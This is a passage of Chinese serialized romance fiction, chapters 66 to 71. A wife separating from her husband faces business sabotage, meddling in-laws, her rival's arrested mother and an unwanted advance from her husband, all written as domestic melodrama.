苏恬给他出主意:“那你回家不要理他。”她搂过苏容添的脖子:“还是我爸爸好,有空就带我和妈妈出来玩。”
季知许嘟气小嘴:“嗯,回家我说他。”
服务员开始陆续上菜,椒麻雪花牛肉、葱油蒸野生黄鱼、干烧明虾、黄焖鲍翅、脆皮咸鸡、蟹柳芦笋和松茸竹笙汤。
南真仪客气的说道:“不知道菜合不合你的胃口?”
舒星若说:“我都可以,让你们破费了。”这家餐厅她常来,菜做得很符合她的心意。
南真仪大方的说:“许许每天在微信上分享自己看的书,带动恬恬现在特别爱看书,我高兴还来不及呢。请你们吃顿饭小意思。”
南真仪和舒星若颇为投缘,俩人一直在聊育儿方面的经验。
舒星若的手机响了,是苏容泽发的微信。他拍了一张自己吃茉莉香糕的照片,他在家帅气又清爽。
【真好吃!你的手艺都可以开店了。】
舒星若回他:【谢谢夸奖,我跟你大哥大嫂在吃饭,一会我们去植物园玩,你要不要来?】
苏容泽拒绝:【我就不来了,我在等消息,一会查出来我帮你料理他们。】
舒星若:【等看看幕后黑手是谁再说。】
她怀疑是何欣干的,但是何欣应该没有这个能耐,她也猜不透到底是谁。
第66章 动机不纯的出游
苏容泽霸气的回复:【可能是个大有来头的人,反正这事我管定了。我不会让你受伤害。】
舒星若不会拒绝他的善意,况且自己单打独斗,确实斗不过人家,回了句:【谢谢苏总!】
苏容泽摇头,长长的叹了口气,她还是这么客气,不知道什么时候可以喊自己名字。
吃完饭他们分别开车去植物园。
11月的植物园,是秋叶的王国,也是菊花的海洋。
恰逢菊花展,整个植物园都是展区,布置了多个大型主题景点,运用各种艺菊造型,塔菊、大立菊、悬崖菊、盆景菊等和成千上万盆的菊花,打造出美轮美奂的菊花世界。
季知许想来植物园玩,就是他在《博物》杂志上看到了植物园菊花展的预告,迫不及待的约苏恬来看。他们俩见到如此盛大的美景,惊呼出声,“太美了!”季知许知识面广泛,对各种菊花如数家珍,一一向大家介绍。
他在入口处拿了一张导览图,看了几分钟他说道:“今天我做大家的导游,你们都跟着我走。”
南真仪笑着说:“行,就跟着你这个小向导。”
三个大人也被眼前这菊花盛放的美景所吸引,观赏、拍照。
南真仪事先就请了一个专业跟拍,帮他们拍下一张接一张的美照。
随后季知许带着大家又来到槭树园,这是秋色的绝对主角!
季知许介绍道:“园里收集了大量槭树科植物,枫树、鸡爪槭等。11月是它们变色的高峰期,红、橙、黄、褐等色彩交织。”眼前的树木宛如打翻的调色盘,色彩缤纷又绚烂,美得动人心魄。
舒星若牵着季知许的小手,感慨儿子真是长大了,知识储备惊人。
南真仪说:“我就说跟着许许出来玩有意思。”
苏恬被父母牵在中间,漫步在植物园的小路上,心情特别畅快,“许许哥哥是最棒的人。”
季知许接着带大家去看银杏树,园内多处种植了银杏树,尤其是银杏大道和银杏林区域,成片的银杏树。
金灿灿的扇形叶片随风飘落,铺成一条黄金地毯,踩在上面犹如置身童话王国。
两个小朋友在银杏树下玩起了你追我赶的游戏,苏恬年龄小,跑不过季知许。季知许很贴心的放慢脚步,让苏恬与他保持短短的距离。他们边追边笑,格外的开心。
三名大人驻足欣赏这难得的层林尽染,秋色斑斓之下仿佛置身世外桃源,忘却了都市的烦恼。
苏恬追季知许追得小脸通红,虽然气喘吁吁,但是她特别开心。
舒星若问季知许:“你干嘛不让恬恬追上你啊。”
季知许说:“追上了就没那么好玩了。”
舒星若突然有点明白季宴礼不想离婚的心态了,放手了就失去了所有的乐趣。
这该死的人性。
季知许牵着舒星若的手,又带领大家去看乌桕、无患子和梧桐,这些树木在秋季也展现出绚丽的色彩。乌桕的鲜红、无患子的金黄、梧桐的褐黄,共同构成丰富的秋色画卷。水边的乌桕倒影尤其迷人,让舒星若想起那年树下惊鸿一瞥的季宴礼,也就是那时候她对他一见钟情的。
跟拍摄影师非常敬业的帮他们留下与美景的合照。
苏容添捡了小石子带两个小朋友在湖面上打水漂,他技术不错,一颗石头打了五个水漂。季知许没见过这个场景,开心的大叫:“苏叔叔,你也太牛了。”
“想学吗?”
“想!”
苏容添在一旁耐心的教起他们,孩子们玩得激动,时不时的传来欢呼声。
南真仪和舒星若坐在树下聊天。
南真仪直截了当的问:“你老公是不是出轨了?”
舒星若说:“我不方便谈论我婚姻的事,我们是隐婚。”
这让南真仪更好奇了:“季宴礼又不是什么明星,为什么要隐婚?”季宴礼在海市的经商圈赫赫有名,她在商业酒会上见过他几次,认识他并不出奇。
舒星若眼眸深邃的望着远方:“大概是他觉得我拿不出手吧。”
南真仪试探着问:“这样的婚姻你也能忍受?”
舒星若苦笑:“嫁给这样的男人,不忍也得忍。”她分居离婚的事她不愿意跟外人提及,怕季宴礼知道了又出幺蛾子。
南真仪不理解:“你也算事业有成,为什么要依附男人?”
舒星若沉默,她觉得南真仪跟她聊天动机不纯,但又说不上来她到底为了什么。
季知许他们三人打完水漂,小家伙又兴冲冲的拉着大家去看杉科植物,植物园里种着水杉、池杉和落羽杉,它们在秋季变成迷人的锈红色或古铜色,挺拔的身姿配上暖色调,非常壮观。
五个人开开心心的留下了合照。
一直玩到下午五点才出来。
苏恬跑得太累了,上车后就直接在儿童座椅上睡着了。
夫妻俩开始肆无忌惮的交谈了。
苏容添问南真仪:“季宴礼跟舒星若离婚了吗?”
南真仪摇头:“没有离,我听舒星若的口气,不是她不想离,而是离不掉。”她脸上一副幸灾乐祸的表情,与刚才的温暖谦和完全不同。“你那个二弟是要插足人家婚姻当小三吗?”
苏容添眼里也是藏不住的笑意:“一个上市集团的董事长当小三,你说这事要是传出去,他的位置还坐得稳吗?”
南真仪说:“我看你二弟对舒星若挺上头的,要不咱们撮合一把?”
苏容添宠溺的看着妻子:“好!你去想办法,我全力配合你。”
舒星若开车途中接到苏容泽的电话,他的声音有些急切:“已经查到了,我给你发地址,我们见面聊。”
“好!”
快到季家了,舒星若先将季知许送回家交给刘管家,自己开车去了苏容泽发的地址。是在白金湾壹号里,海市顶级的大平层住宅区。门口的保安收到了苏容泽的指示,给舒星若放行了。
一出地库,就看见了苏容泽。
他穿着浅棕色爱马仕毛衣,整个人挺拔如松,一向云淡风轻的他此时脸上写满了焦急。
第67章 幕后黑手竟是个大佬
舒星若走上前去,苏容泽脸上的担忧之色更加明显。
两人走入专用电梯,苏容泽开门见山,“你这次遇到大麻烦了,是姜学名找人干的。”
“姜学名?”舒星若差点惊掉了下巴,此人是全国医药界泰山北斗的人物。平时十分低调,很少在媒体上出现,他们之间没有任何交集。
舒星若纳闷:“他这样的大人物对付我干嘛?”
苏容泽摇头:“我也不知道,你们有过节吗?”
舒星若说:“我都不认识他,哪来的过节?”
两人出了电梯进到苏容泽家,苏容泽将拖鞋递给舒星若。
舒星若边换边问道:“你让人查出来的证据我们可以直接给警方吗?”
苏容泽摇摇头:“我们查出来只是他的海外账户出钱了,其他的没有,没法构成捏造事实诬陷他人。”
舒星若脸色晦暗,想不到自己小小的公司竟然惊动了业内大佬,令他出手对付自己。
舒星若眉头紧锁:“何欣有没有参与这件事?”
苏容泽打开笔记本电脑给舒星若看邮件,“我让人查了她的手机,目前来看是没有。”
竟然不是何欣在背后使坏。
舒星若苦思冥想中,苏容泽问道:“对了,你们今天复播,还有没有人搞事?”
舒星若说:“当然有,不过音符的官方下场了,我们没有被封号。但是他们在评论区刷差评,影响我们的销量了。”
苏容泽忧心更深:“他不会善罢甘休的。”他找人查了姜学名的资料,发到舒星若手机上了。
舒星若点开文件来:
姜学名出生在一个小山村,自己考进了海市顶级大学F大的医学院读书。他大学期间的资料一片空白,应该是被人刻意抹去了。
二十九年前姜学名创办了揽月制药,研发了数十种药物。其中让他声名大噪的是一款肠癌化疗药,副作用比同类产品小很多。
揽月制药一跃成为国内数一数二的制药公司。
行止生物的业务跟揽月制药又没有重合,舒星若实在想不通他为什么要针对自己。
舒星若说:“你认识他吗?我想见一下他,看看他到底为了什么。”
苏容泽面露难色,“我跟他没有交集。”东盛集团的业务没有涉及医药,不认识他很正常。“我已经在想办法约他了,他秘书说他今天出国了,得过段时间回来。”
苏容泽的靠谱程度出乎舒星若的意外,她心下感激:“谢谢你。”
苏容泽说:“又没帮到你,谢什么?”
舒星若却反过来宽慰他:“没事啊,你不要太担心了。不就是黑子吗?只是销量受损,我们已经在研究布局线下门店了。”
苏容泽家的保姆已经将饭菜端上桌,一桌子都是舒星若爱吃的,苏容泽对她的喜好特别上心。
苏容泽面色缓和了一些,“行,等他回国我一定去找他。如果你们之间的恩怨不能化解,我不介意对他动手。”
舒星若大惊失色:“我知道你对我好,但是你没有必要跟他斗,两虎相争必有一伤。而且我觉得你自己在东盛集团可能腹背受敌。”
“嗯?”苏容泽夹了一块排骨给舒星若,挑眉道:“此话怎讲?”
舒星若将今天南真仪对她的试探一一说了。
苏容泽垂眸自嘲的笑道:“他们俩还挺关心我们的。”他心里一阵发颤,舒星若现在还是已婚的身份。
如果舒星若对自己动心,他们相爱了,那他苏容添夫妻俩一定会拿这事做文章的。
舒星若:“所以说,你不能为了我跟姜学名鹬蚌相争,让他们坐收渔利。我总感觉姜学名突然对付我有何欣的手笔,等我见到他再说。”
她喝了一口汤说道:“我之前见你带苏恬还以为你俩兄弟俩感情很好呢。”
苏容泽放下筷子,轻声说道:“我只是喜欢恬恬,我跟苏容添不是一个妈妈,他对我从小就有敌意,南真仪跟他夫妻一心。”
怪不得苏容添夫妻俩,对甘净莲的病情一无所知,原来他们没有血缘关系。
舒星若等着吃接下来的瓜呢,苏容泽却不说了。
苏容泽看出来她一脸八卦的样子,故意卖关子:“以后慢慢跟你讲。”
吃瓜吃一半没了,舒星若心情不太妙,还是林安禾好,每次分享的瓜都是完整的。
但毕竟是人家的隐私,她也不好再问。
吃完饭苏容泽送舒星若下楼,还嘱咐道:“放心,有我在,姜学名掀不起大风浪。”
舒星若却不想连累他,“没事,我自己应付得来。”
舒星若回家之后,季宴礼还没有回来。她也不在意,给季知许讲完故事自己睡了。
早上醒来的时候,发现季宴礼一整晚都没回家。
舒星若佩服何欣勾人的本事,她勾勾手指头季宴礼的魂就没了。
想起季宴礼给的承诺,她骂道:“本性难移。”
下楼吃早餐,季知许没看见季宴礼,生气的说道:“爸爸太不像话了,不仅不陪我们出去玩,还夜不归宿。”
舒星若被他气鼓鼓的模样逗笑,“你连夜不归宿都会用?”
舒星若不禁感慨,她这个儿子到底有多深的知识储备啊!
季知许趴在桌子上生闷气。
她给季知许夹了一块肠粉,“不要生气了,爸爸有他自己的想法。我们过好自己的日子就行。”
季知许反问舒星若:“妈妈,你为什么现在一点都不在乎了?”
几个月之前,舒星若还为了季宴礼的夜不归宿大发脾气,跟他争吵,现在她一脸云淡风轻。
舒星若说:“因为妈妈不爱他了。”
季知许征征的问道:“妈妈,爱会消失吗?”
“会的。”
她对季宴礼的爱就消失了,再也不会为了他心痛。只要他不娶何欣一切好说。
回到公司,舒星若让黄丽歌召集销售部和市场部开会。
冯胜一脸菜色:“从前天直播间被封开始,总有人在评论区刷恶意差评,这两天的销售额掉了几十万了。”
袁晶问:“舒总,我们该怎么办?”
第68章 老三被抓了
舒星若说:“这两天我考虑了,我们光靠音符一个平台容易被针对,我们其他平台的官方旗舰店都可以播起来。”
冯胜面露难色:“再增加三组直播团队,我们的成本会提高很多。”
袁晶却不赞同:“我认为舒总的考量很正确,初步来看,我们会增加开支,但是多渠道播避免了我们被人拿捏。像这次音符账号一被封,我们就只能干瞪眼。如果是四渠道,封了一个平台,其他三个直播间还可以以此为话题来炒作。”
舒星若沉吟道:“一会你们核算一下成本报给我。”
大家都应下了。
舒星若说:“另外我想在商场开设线下门店,这样我们可以进一步拓展用户群。调研公司的报告里写着,我们有一群潜在的用户不网购。市场部你们负责去发掘场地,报给我审批。租金太高的地段不考虑。”毕竟利润第一,她又不是做慈善的。
袁晶觉得舒星若这个思路不错,她之前也有这个想法,“行,舒总,我会尽快去选址。”
会议后期大家又复盘了近期直播中出现的问题,一一解决了。
散会后,大家各自去忙了。
林安禾亲自登门了,她一脸的喜气。
“若若,天大的好消息,港城警察今天早上飞过来直接带走了田玉芬。”
舒星若疑惑:“就田玉芬一个人被抓,何欣没事?”
林安禾说:“我打听了,以他们目前的证据来看,当年的事全部指向田玉芬。药是她通过地下渠道买的,刚好那个卖药的人前几个月落网了。警方顺藤摸瓜带出了田玉芬,加上尤红娜的口供,何欣也将田玉芬推出来顶罪,算是坐实了她的投毒罪。”
虽然没抓了何欣,舒星若觉得可惜,不过能抓住田玉芬也是很不错的。
这女人当年害得她母亲那么惨,舒星若恨不得将她剥皮抽筋,让她进去待几年也不错。
舒星若开心的说:“走,我请你去吃大餐。”
两人走到电梯间,林安禾问舒星若:“最近季狗对何欣的态度怎么样?”
舒星若淡淡的说:“昨晚又夜不归宿了,何欣应该又在想办法挽留他的心了。”
“靠!”林安禾忍不住吐槽:“季狗真是狗改不了吃屎,还只吃何欣这一坨屎。”
出了电梯,舒星若突然脑海内警铃大作:“完蛋了,要是季宴礼出面捞田玉芬,她极有可能被捞出来了。”
林安禾却很淡定:“想从港城警方手里捞个人没那么简单。”
舒星若放下心来:“那就好!”
吃饭期间,舒星若问林安禾最近有没有什么瓜吃,林安禾说:“刚好有一个炸裂的。”
舒星若立马来了兴致,催促道:“快说快说。”
林安禾一脸笑意的说,“是苏容泽大嫂家里的瓜,我看你朋友圈昨天还跟她一起出去玩了。”
“啊?”舒星若惊讶道。
林安禾一边吃饭一边说:“南真仪的妈妈不是就生了她一个女儿吗?她家里的生意一直都说要交给她,但是她爸南景一直不肯放权。她妈妈胡丽淑最近发现了南景在外面养了五个女人,有七八个子女,其中最小的女人比南真仪还小八岁。胡丽淑气得要跟南景切割,正起诉要回婚内财产呢。南景玩得是真六,五个女人住在同一栋别墅里,他秘书帮他排了日程去宠幸他们。”
舒星若惊得嘴巴都成了O型,“这……把自己当皇帝呢?”
“是呀,我看了那个排班表,有一天居然有两个女人同时伺候那个老头子。一把年纪了,精力这么旺盛的。”
南景快六十了,竟然还玩得动,舒星若佩服他的身体。杨思淼年纪轻轻就把自己玩坏了,看来还是老一辈的会玩。
就南真仪家里都乱成一锅粥了,她居然还有精力来打听苏容泽的事。舒星若也是服了她这个人了。
舒星若将南真仪昨天打听的事说了,林安禾却觉得正常:“他们南家才多大体量啊,撑死了也不到十亿。东盛集团市值都上千亿了,苏容泽又是董事长,意味着将来苏家大部分的股份都给他。南真仪夫妻俩坐不住很正常。”
舒星若说:“那这事我可以跟苏容泽说吗?”
林安禾:“没事,这事又不是什么秘密,法律圈人人都知道。不知道你们经商圈大家知不知道,你跟他说他就当个乐子听呗。”
舒星若笑着说:“行,等我有空跟他讲。”
林安禾提醒舒星若:“你还没有离婚,跟他走得太近可能会被有心人利用,别的不说,就南真仪夫妻俩肯定想用这事打压苏容泽。”
“嗯,我知道,我尽量跟他保持距离。”
说起这个,林安禾更加痛恨季宴礼:“都是季狗不肯签字,不然你就可以跟苏容泽出双入对了。”
舒星若说:“我就算离婚了也不会跟苏容泽在一起。”
林安禾放下筷子:“你这是干什么?离婚又不丢人,苏容泽对你不错,而且他又帅又有钱,你离婚后找他季狗才会气得半死。”
舒星若有些无语:“我找新的男人又不是为了气季宴礼的。我现在就是单纯的不能爱了,爱了季宴礼六年,我的心已经彻底死了。”
林安禾叹气,她打心底的心疼舒星若,都怪该死的季宴礼。
午餐之后,舒星若回公司忙了。
黄丽歌今天帮她约了两个粉丝来看诊,粉丝不介意被拍下了当行止官号的素材,是公司一个不错的宣传视频。
忙完已经是下午五点了,舒星若给苏容泽打电话:“你忙吗?”
苏容泽:“刚忙完。”
舒星若微笑着说:“跟你说个南真仪家的八卦。”
苏容泽洗耳恭听。
听完苏容泽没什么反应,舒星若觉得奇了,“你一点都不惊讶的吗?”
苏容泽淡定的说:“南景我见过,一看就不是什么好人。我那个大嫂家里乱,却有精力管我们的事,看来她的胃口是真不小。”
“那你小心点,我这边你不用担心,我闺蜜都帮我把田玉芬送进去了。”
苏容泽笑道:“恭喜你!”他由衷的替舒星若高兴,他也不喜欢小三,因为苏容添的妈妈就是小三。
所有的为了不劳而获,破坏别人婚姻的人都该死。
第69章 直接去勾引他
苏容泽提醒舒星若:“你当心季宴礼会去捞田玉芬,港城虽然不好捞人,但是要是动用各种关系,还是有办法操作的。”他身处商场,太知道这些人的手段了。
舒星若叹气:“我左右不了季宴礼那个蠢货。”
苏容泽笑了:“他还真的挺蠢的。”为了一个分了手的初恋辜负对他情深义重的妻子,简直蠢到家了。
苏容泽不想等太久,生了变数,他得好好琢磨怎么让舒星若早点离婚。离婚了他就可以光明正大的追她了。
苏容泽问舒星若:“你闺蜜林安禾的电话方便给我吗?我有点法律问题要咨询她。”
“一会我发给你。”
何欣这边已经世界大乱了,田玉芬忽然被抓,警方的逮捕令上写的是**,她明白是当**挖出来了。当机立断跟警方说当年她一无所知,酒是田玉芬给的。
田玉芬十分疼爱何欣,当场默认了何欣的说辞。
还好当年是田玉芬去买的药,不然今天被抓的就是自己。尤红娜失踪,极有可能跟这事有关。
昨天她装**让季宴礼陪了自己一整天,软磨硬泡之下季宴礼虽然没有答应离婚,但是答应以后周末都陪她,已经是个好的开始了。
母亲被抓,她恰好可以趁机在季宴礼面前表演一波柔弱不能自理。
田玉芬被抓走的时候,她就打电话给季宴礼了,他周一特别忙,电话都是言永飞接的:“季总在忙,等他忙完我让他给您回。”
季宴礼一直忙到中午吃饭才抽空回何欣,他担心何欣又胡思乱想做出什么过激行为:“欣欣,我上午一直在忙,出了什么事了吗?”
何欣崩溃大哭:“我妈被港城的警察抓走了,说**罪。阿礼,求求你,救救她。我没有妈妈会死的,我求求你了。”
季宴礼蹙眉,尤红娜不是收了钱了吗?怎么会反水?
“你别急,我马上派人去查。”
下午调查结果出来了,季宴礼猜测这背后肯定有舒星若的手笔。他叹气,舒星若终究是不肯放过何欣母女。
他有些头大,他跟舒星若的关系刚缓和一些,如果此时他捞田玉芬出来,舒星若势必再次跟他**。
言永飞看不过去了,出声说道:“季总,港城捞人并不简单,您可以如实跟何小姐说。”坑了人还想脱身,就应该让她坐牢。
季宴礼揉了揉太阳穴,“你帮我回何欣,就说证据确凿,我无能为力。我今天特别忙。”
言永飞照实回了,何欣听完觉得脊背发凉,她必须要他帮忙,万一田玉芬在里面熬不住把自己供出来怎么办?
她眼珠直转,想了半天想出了个一箭双雕的办法。
办公室里的季宴礼因为心力交瘁,翻起了朋友圈。昨天舒星若的朋友圈里是去植物园游玩的照片,他们母子俩在迷人的秋景中笑得格外灿烂。
隔着屏幕季宴礼都能感受到他们的喜悦。
他心里暗下决心:“一定要尽快公开夫妻关系,光明正大的带他们出去玩。”
他拿起手机几次想打给舒星若,但是又不知道跟她说什么。昨晚自己一夜不归,他怕舒星若又跟他吵起来。
季宴礼叫言永飞进来,他问言永飞:“太太喜欢什么?”
言永飞说:“太太很喜欢传统文化的东西。”
“你去帮我买一件,晚上我带回家。”
言永飞高兴得像拿了年终奖,“好嘞,季总,我这就去办。”
季宴礼继续埋头在工作之中,没过多久,何欣来了。
她脸色惨白,眼睛红肿,嘴唇也没有血色。
季宴礼见她这副样子,立刻站起来问:“欣欣,你脸色怎么这么差?”
何欣不由分说的扑进季宴礼的怀里,嘤嘤啼哭,季宴礼手足无措。自从上次得知何欣做了处女膜修复手术,他就厌恶跟她身体接触。
他本能的想推开何欣,但是何欣抓着他死命的不松手。
季宴礼柔声劝道:“不要哭了,你身体不好,等下可能又要进医院了。”
何欣抬起盛满眼泪的眼睛,“阿礼,求求你救救我妈。她年纪大了,身上又有伤,去坐牢的话可能会死的。”
季宴礼深吸一口气,艰难的说道:“我已经
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打听了,我真的没有办法。”
何欣按下办公室控制窗帘的开关,将窗帘拉上,季宴礼蹙眉:“你这是做什么?”
窗帘合上以后,何欣将大衣的打开,里面只穿了一套透明蕾丝内衣,穿了跟没穿一样。
她胸大腰细,她就不信季宴礼看到她这样的身材会不动心。
她泪水盈盈:“阿礼,只要你救我妈,我做什么都行,我把我自己献给你。”
她将季宴礼的手放在自己的胸口上,“阿礼,这些年我一直在为你守身如玉。你试试就知道了。”
只要季宴礼跟她睡了,她就有办法让他离不开自己。
这样的话,一来可以让他去救田玉芬,二来他们的关系就更进一步了。
听到这话季宴礼更抵触了,手像触电般的弹开。
他背过身去,冷冷的说道:“你先把衣服穿好。”
何欣一口气堵在胸口差点上不来,季宴礼果然是不行,自己这样的尤物在他跟前都不为所动。
实在勾引不动她还不如去勾搭姜学名了,只是年纪太大了。
当她爹都行,可能也不行了。
她恨恨的穿上衣服,扑通一声跪下去哭:“阿礼,你要怎样才肯救我妈?”
“你要是不救她我就长跪不起。”
季宴礼心疼不已,忙扶她起来,“行吧,我托人去问问,但我不保证一定能救出来。”
何欣太知道他的实力了,只要他肯帮,哪有捞不出来的人?
有人敲门,季宴礼说:“进!”
言永飞买完礼物回来,他选了一套真丝绒苏绣衣服。进来看见何欣在,他心想:“完了,总裁又被这女人哭得心软了。”
果不其然,季宴礼说:“你去约一下港城的警务处长,我明天飞过去见他。”
“好!”
何欣见言永飞手上拿着礼品袋,心花怒放,以为是季宴礼要送给自己的名贵礼物。
却见季宴礼说:“礼物放回车上吧。”
言永飞退了出去。
何欣假意吃醋:“阿礼,你这礼物是要送给妹妹的吗?”
“是!”
第70章 以后都不会夜不归宿
他竟然承认了,他对舒星若动心了?
何欣怒火中烧,但她面上不显,装着热恋中女生吃醋的样子:“阿礼,你给她买礼物都不给我买。哼!”
何欣嘟着嘴让自己显得更加无辜可爱,还让季宴礼感受到她的浓浓醋意。表明自己是爱他才这样的。
季宴礼上钩,他柔声问道:“你想要什么?”
何欣大喜,按捺住心中的激动,脸上一副醋意满满的样子,“人家想要梵克雅宝的Perlee三排镶钻手镯。”说完她悄悄瞟了一眼季宴礼的神色,没有大的波动。
那手镯近四十万,季宴礼发信息给言永飞:【叫人去买一个VCA的Perlee的三排镶钻手镯,送给何欣。】
何欣想:“还是得季宴礼,出手大方。我要什么都会给,不像杨思淼抠抠搜搜的。”
言永飞回:【好!】私下大骂何欣是吸血鬼,季宴礼是冤大头。
他搞不懂为什么季宴礼,每次都被何欣的一哭二闹三上吊打动,这女人的眼泪跟不要钱似的,说来就来。
要了礼物的何欣还是没有“开心”,季宴礼见她脸色“悲伤”,忙安慰道:“我带你去吃饭。”
何欣吸了吸鼻子,装着勉为其难的样子:“好吧!”
晚餐时间何欣拿出他们当年恋爱时的各种姿态,意图唤醒他对初恋的怀念。
但是季宴礼依然表现出只想照顾她的意思,这对何欣来说算是一种打击,自己的各种手段在他面前通通失效。
她想了想,暂时不要追求跟他的进展,要钱要东西就行。
季宴礼回到家已经九点了,舒星若洗漱完,坐在梳妆台前护肤梳头发,一副岁月静好的样子。
最近他见到这样的场景总想起小轩窗、正梳妆的场景,那是一首悼念亡妻之作,他可不能失去妻子。
他跟舒星若错过太多的光阴了,他决定要好好的珍惜眼前的她。
他将礼物递给舒星若:“送给你!”
舒星若狐疑的看着他:“好端端的送东西给**嘛?”无事献殷勤非奸即盗,季宴礼就是只大尾巴狼。
季宴礼说:“昨天晚上我临时有事,没有回家,对不起。”自从舒星若上次说他身上有何欣的香水味之后,他让何欣见他不许喷香水。
舒星若确实没闻到他身上的香水味,狗男人还学会了无间道。
她一脸的不在乎,没有接礼物:“哦,小事,你的心又不在家里。回不回来都不要紧。”
说完她站起身来,准备去书房挑故事书。
季宴礼心头发闷,身体靠近她:“星若,我以后除了出差每天都回家的。”他这算是给自己和她的诺言,他想好好的陪在她身边。
“嗯,知道了。”舒星若边说边往书房走,一脸嫌恶。她心想:“我信你个鬼,明明是去跟何欣鬼混了,回家又装好老公,恶心。”
季宴礼心口疼,舒星若压根就不信自己,他放下礼物,走进季知许的房间等舒星若。
季知许正在和苏恬视频聊天,季宴礼的身影晃过,苏恬说:“许许哥哥,你那个坏爸爸终于回家了。”
“坏爸爸?”季宴礼眉头蹙起,他问季知许:“我什么时候变成坏爸爸了?”
季知许对苏恬说:“恬恬我先下了。”
他看着季宴礼:“难道不是吗?恬恬周末都是父母带着出去玩,我只有妈妈陪。”
季宴礼觉得愧疚,但是嘴继续硬:“爸爸是有重要的事要处理,才缺席的。”
季知许并不买账:“那你这个周末能陪我们一起出去玩吗?”
季宴礼说:“这周末不行,我要加班。”他怕自己跟他们出去,舒星若身份曝光,何欣受不了又做出极端的事情。
季知许扁扁嘴:“骗小孩也不找个好点的理由。”小机灵鬼一眼就看穿他在撒谎。
舒星若拿着一本《人类与科学》的科普类期刊走进来,今天打算给季知许讲洞察风云和预警未来系列的内容。
季知许非常兴奋,他对预警体系非常感兴趣。
科普知识比较晦涩难懂,舒星若将他们变成一个个的小故事
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讲出来,还给了他们两个主人公,分别叫亮眼龙和小考拉。
亮眼龙是个脾气火爆的小废物,而小考拉情绪稳定知识渊博。
季宴礼眼皮直跳,他觉得舒星若似乎是在骂自己。
讲到他们两个人在恶劣天气中的种种搞笑反应,季知许被舒星若逗得大笑了起来。
季宴礼也忍不住笑了,原来不是儿子笑点低,是舒星若讲得太离谱。
讲完之后,舒星若合上杂志,温柔的说:“晚安,宝贝!”
季知许钻进被窝里,甜甜的说着:“妈妈晚安!”他才不想那个满嘴谎话的爸爸晚安,他在心里祈祷他一整晚做噩梦。
季宴礼说:“你怎么不跟我说晚安?”
季知许没理他,合眼表示自己要睡觉。
季宴礼叹了口气走出了房间,他对舒星若说:“想不到你讲故事这么生动。”
舒星若哼了一声,回了房间。
她的冷淡让他心绪不宁,“星若,我错了,以后我都不会夜不归宿,你原谅我好不好?”
舒星若觉得烦,随口说道:“我没有不原谅你啊,我又没骂你。”
“你这么冷淡我受不了。”
舒星若忍不住怼道:“你以前对我不是更冷淡?”
这话像当头棒喝一样锤醒了季宴礼,他忙道歉:“星若,我那时候误会你了,一直怨恨你。现在我知道当初全是我的愚蠢,导致我们错过了六年的美好时光。你给我一个弥补的机会好不好?”
舒星若冷笑:“我给过你机会,你自己不要。”
季宴礼想起她说的只要弄死何欣一家人,她就跟他过一辈子,但是自己做不到对何欣恩将仇报。
“星若,除了这个我什么都可以给你。”他从公文包里拿出股份转让协议,他已经开过股东大会,知会了他们,只需要舒星若签字就行了。
舒星若心想他终于干了件人事,毫不犹豫的签字按手印。
她将协议放进保险柜,季宴礼上前搂住她:“星若,我在慢慢改变,你给我点时间好不好?”
第71章 季宴礼**大发
舒星若敷衍的哼了一声,点了香就坐进被窝里看医书。
季宴礼去洗澡,他觉得舒星若没那么冷淡了,等下可以好好跟她温存一番了。
他用的是舒星若的沐浴露和洗发皂,身上留着她的香气,十分满意的过来找她。
“星若,”他温柔的唤着她的名字,俯身去吻她。
舒星若大惊失色,推开他:“你这是干什么?”
“你是我妻子,我们做夫妻该做的事。”
舒星若嫌恶:“我没有跟你过夫妻生活的打算。”
季宴礼却不由分说的压了上来,他吻着舒星若,手已经伸进她的衣服里。
她的身体是柔若无骨,她的腰肢纤细紧致。
他简直要溺死在她的温柔乡中,舒星若用力去推他,奈何他力气太大,根本就推不动。
眼角的泪涌了出来,季宴礼如惊涛骇浪般的吻了她半天,自己却毫无反应,立不起来。
他吓得像见了鬼,突然意识到自己不行了。
他又惊又悔,从舒星若身上滚了下来:“星若,对不起,我不该这样对你,你原谅我好不好?”
舒星若弹起来扇了他两个巴掌:“季宴礼,你这个畜生。”
幸亏是点香了,不然他真的就侵犯自己了。
季宴礼即使被她打了也毫无怨言,倍感歉意:“星若,我太想你了,你原谅我的冒失。”
他不举的问题他不敢暴露给舒星若,打算回来就去医院看一下。
舒星若瞪着他:“你要是想各自安好,就回自己的房间去睡。”
虽然季宴礼不能跟她同房,但被他亲她也嫌恶心。
季宴礼却不愿意离开:“我保证接下来什么也不做,就好好睡觉。”
“不行!”
季宴礼近乎哀求的说道:“星若,我求你了,你给我最后一次机会。”
“不可以亲我。”
“好!”
这一晚季宴礼睡得很不踏实,他担心自己再也不能立起来了。那么他跟舒星若不可能破镜重圆了。
舒星若也睡不太好,她怕季宴礼去医院检查查出来什么。
她辗转反侧之时,季宴礼开口了:“你是不是早就发现了我的问题?”
季宴礼想起上次舒星若给他把脉时的表情,她应该早就知道这事了。
只是她不愿意说。
他内心叹息,自己真的该死,最关心他身体的舒星若被他弄丢了。
舒星若迟疑:“什么问题?”
季宴礼的声音越来越小:“我刚刚没有立起来。”男人遇到这方面的问题都会变得卑微。
舒星若心里暗笑,季宴礼啊季宴礼,你也有今日。
她本来想吓吓他,告诉他永远好不了了,但又怕穿帮了,自己反而惹上麻烦。
“也许是你太累了,早点休息吧。”
季宴礼觉得她没有说真话,“我明天出差,等我回来我去医院看看。”
舒星若一头黑线,差点喊出了声。
“你休息一段时间可能就好了,要是不好我帮你治。”
可千万不能让他去医院,这香不能再点了。得想办法跟他分床睡。
季宴礼心下触动:“星若,我可以抱你吗?”
舒星若许久都没有回应他,季宴礼不再勉强,轻声说道:“不早了,睡吧。”
“晚安!”
夫妻俩早上都是顶着黑眼圈起来的,刘管家还以为他们昨晚大战了一场呢,这夫妻俩终于好起来了。
季宴礼深情的说道:“我今天出差,晚上尽量赶回来。”
舒星若对他一大早就开始表演,表示不理解:“季总,儿子说现在不用在他面前装了。”
“我是真心想回来陪你的。”
“哦!”信他就有鬼了。
季宴礼恋恋不舍的上了车。
狗男人跟何欣在一块待久了,也学会了装。真是牛鬼蛇神都混一起了。
舒星若刚下楼,杨思淼的电话就来了。
电话那头他兴奋的声音快要冲破手机:“若姐,我今天早上立起来了。太神了。”
舒星若心里一阵激动,这药也太牛了。
可惜没有机会量产,不过她会想办法。
“我一会吃完早饭去给你看看。”
“好嘞,我给你发定位。”
季知许见舒星若一脸喜色,
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开心的问道:“妈妈,你是有什么开心的事吗?”
舒星若边吃早餐边说:“妈妈的事业要更上一层楼啦!”
而且杨思淼好了,他会帮她去揭开何欣的伪装。
